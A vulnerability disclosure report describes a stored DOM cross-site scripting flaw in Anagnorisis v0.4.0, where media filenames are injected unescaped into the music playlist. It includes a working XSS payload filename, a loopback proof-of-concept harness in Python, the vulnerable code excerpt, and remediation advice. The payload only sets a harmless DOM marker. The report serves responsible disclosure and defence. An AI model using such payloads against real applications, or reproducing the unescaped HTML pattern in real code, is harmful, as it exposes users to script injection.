Stored DOM Cross-Site Scripting via Media Filenames in Anagnorisis v0.4.0
Stored DOM Cross-Site Scripting via Media Filenames in Anagnorisis v0.4.0#
Author: hiro
Affected versions: Anagnorisis v0.4.0 (source-confirmed and dynamically reproduced)
Vendor: volotat GitHub Profile
Product: Anagnorisis
Affected file: modules/music/js/PlaylistManager.js
Tested commit: acce76065cd4cecf6eaed5bee8691e95c85964d4
Description#
Anagnorisis discovers files from configured media directories and returns their
relative paths to the browser. The music playlist derives base_name from each
path, interpolates both values into an HTML string and passes the result to
jQuery .html().
A media filename containing HTML is therefore parsed as markup when a user opens the music page. Event-handler attributes in the filename execute in the Anagnorisis origin. The value persists on disk as a filename and is rendered again whenever the library is scanned and the playlist is displayed.
Other media views contain similar innerHTML or jQuery HTML construction
patterns for file paths and status strings. This report uses the music playlist
as the minimal, directly reproduced source-to-sink path rather than counting
each sink as a separate vulnerability.
Security Impact#
JavaScript supplied through a crafted media filename executes with access to the Anagnorisis origin. It can read or alter data exposed to that page, invoke same-origin application functions and impersonate user actions.
The impact is moderated by the product's local media-library workflow: the
attacker must first cause a crafted filename to appear in a directory scanned
by Anagnorisis, and a user must view the affected interface. No remote upload
endpoint was found in v0.4.0, so this report does not claim unauthenticated
remote placement of the filename.
Preconditions#
A crafted filename is present under the configured media directory. This may occur through a downloaded archive, synchronized/shared library or another authorized import channel.
An application user opens the music interface or another vulnerable media view.
The browser permits ordinary inline event-handler execution; no effective Content Security Policy was found in the tested version.
Classification and Severity#
Primary weakness:
CWE-79— Improper Neutralization of Input During Web Page GenerationVariant: stored DOM-based cross-site scripting
Suggested conservative CVSS v3.1:
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N— 4.6 Medium
The local attack vector reflects the absence of a demonstrated remote upload
path. If the vendor documents a remotely writable shared media directory as a
supported trust boundary, the attack vector should be reassessed. CVE
eligibility is less certain than for REPORT-01 and REPORT-02 and should be
confirmed with the vendor/CNA.
Proof of Concept#
Safety and Design#
The PoC runs only on 127.0.0.1, imports the exact
PlaylistManager.js and bundled jQuery from the supplied checkout, and uses a
DOM marker instead of reading cookies, storage or application data. It also
provides a benign filename negative control.
Run#
From an isolated v0.4.0 checkout:
python .\poc_media_filename_dom_xss.py --repo . --port 18764
Open the following URL in a browser:
http://127.0.0.1:18764/The page displays:
CONFIRMEDThe injected <img> element is present in the generated playlist and
document.body.dataset.xss is changed to confirmed.
Open the negative control:
http://127.0.0.1:18764/?safe=1The page displays:
SAFE_CONTROL_PASSEDComplete PoC Source#
#!/usr/bin/env python3
"""Serve a loopback-only harness that executes Anagnorisis' playlist code."""
from __future__ import annotations
import argparse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path
from urllib.parse import urlsplit
HARNESS_HTML = b"""<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Anagnorisis v0.4.0 PlaylistManager validation</title>
<script src="/jquery.min.js"></script>
</head>
<body data-xss="not-triggered">
<div id="playlist"></div>
<pre id="result">PENDING</pre>
<script type="module">
import PlaylistManager from "/PlaylistManager.js";
const dummyAudio = {
play: () => {},
pause: () => {},
getAttribute: () => null
};
const manager = new PlaylistManager(
dummyAudio,
$("#playlist"),
document.createElement("img"),
document.createElement("span"),
{}
);
const safeMode = new URLSearchParams(location.search).get("safe") === "1";
const payload = safeMode
? "/media/benign-track.mp3"
: "/media/<img src=x onerror=\\"document.body.dataset.xss='confirmed'\\">.mp3";
manager.setPlaylist([payload]);
setTimeout(() => {
const marker = document.body.dataset.xss;
document.getElementById("result").textContent = safeMode
? (marker === "not-triggered" ? "SAFE_CONTROL_PASSED" : "SAFE_CONTROL_FAILED")
: (marker === "confirmed" ? "CONFIRMED" : "NOT_TRIGGERED");
document.documentElement.dataset.validation = marker;
}, 250);
</script>
</body>
</html>
"""
class Handler(BaseHTTPRequestHandler):
repo: Path
def do_GET(self) -> None: # noqa: N802 - stdlib handler API
request_path = urlsplit(self.path).path
routes = {
"/jquery.min.js": (
self.repo / "static" / "js" / "jquery.min.js",
"application/javascript; charset=utf-8",
),
"/PlaylistManager.js": (
self.repo / "modules" / "music" / "js" / "PlaylistManager.js",
"application/javascript; charset=utf-8",
),
}
if request_path == "/":
body = HARNESS_HTML
content_type = "text/html; charset=utf-8"
elif request_path in routes:
path, content_type = routes[request_path]
body = path.read_bytes()
else:
self.send_error(404)
return
self.send_response(200)
self.send_header("Content-Type", content_type)
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt: str, *args: object) -> None:
print(fmt % args, flush=True)
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path, required=True)
parser.add_argument("--port", type=int, default=18764)
args = parser.parse_args()
Handler.repo = args.repo.resolve()
server = ThreadingHTTPServer(("127.0.0.1", args.port), Handler)
print(f"READY http://127.0.0.1:{args.port}/", flush=True)
server.serve_forever()
if __name__ == "__main__":
main()
Dynamic Validation#
The vulnerable and fixed variants were executed in a real headless Microsoft Edge browser:
| Build | Malicious filename | Benign control |
|---|---|---|
Original v0.4.0 | CONFIRMED | SAFE_CONTROL_PASSED |
| Local fixed worktree | NOT_TRIGGERED | SAFE_CONTROL_PASSED |
Screenshots and machine-readable browser output are retained in the internal
validation workspace. The malicious test generated a real <img> DOM node;
the fixed build rendered the payload as text.
Root Cause#
The vulnerable code mixes untrusted data and HTML:
playlistHtml += `
<a class="panel-block ${isActiveClass}"
data-path="${item.file_path}"
data-index="${globalIndex}">
<span class="panel-icon is-size-7">
<i class="fas fa-music" aria-hidden="true"></i>
</span>
${item.base_name}
</a>
`;
this.playlistElement.html(playlistHtml);
Neither item.file_path nor item.base_name is HTML-escaped. The value is used
in both an attribute and element content, so string replacement or partial
escaping would be fragile.
Recommended Remediation#
Build elements with DOM APIs or jQuery constructors.
Assign filenames with
textContentor jQuery.text().Assign
data-*values with.attr()/.data()rather than HTML interpolation.Replace other file-path
innerHTMLand.html(status)sinks with safe text construction.Add tests for filenames containing
<,>,",',&and Unicode.Add a restrictive Content Security Policy as defense in depth; do not treat CSP as the primary fix.
Fix Verification#
A local proposal replaced playlist HTML concatenation with programmatically
created elements and .text(). The same malicious-filename browser test no
longer executed, while the benign playlist control continued to render. This
is a local validation result, not an upstream fix or fixed release.
Duplicate and Disclosure Status#
GitHub Security Advisories, public issues, NVD, CVE/GHSA, VulDB and project-specific XSS searches were checked on 2026-07-28. No public same-project report was found. This does not exclude private reports or reserved identifiers.
The vendor has not been contacted, no advisory has been published, no VulDB entry has been submitted and no CVE has been requested.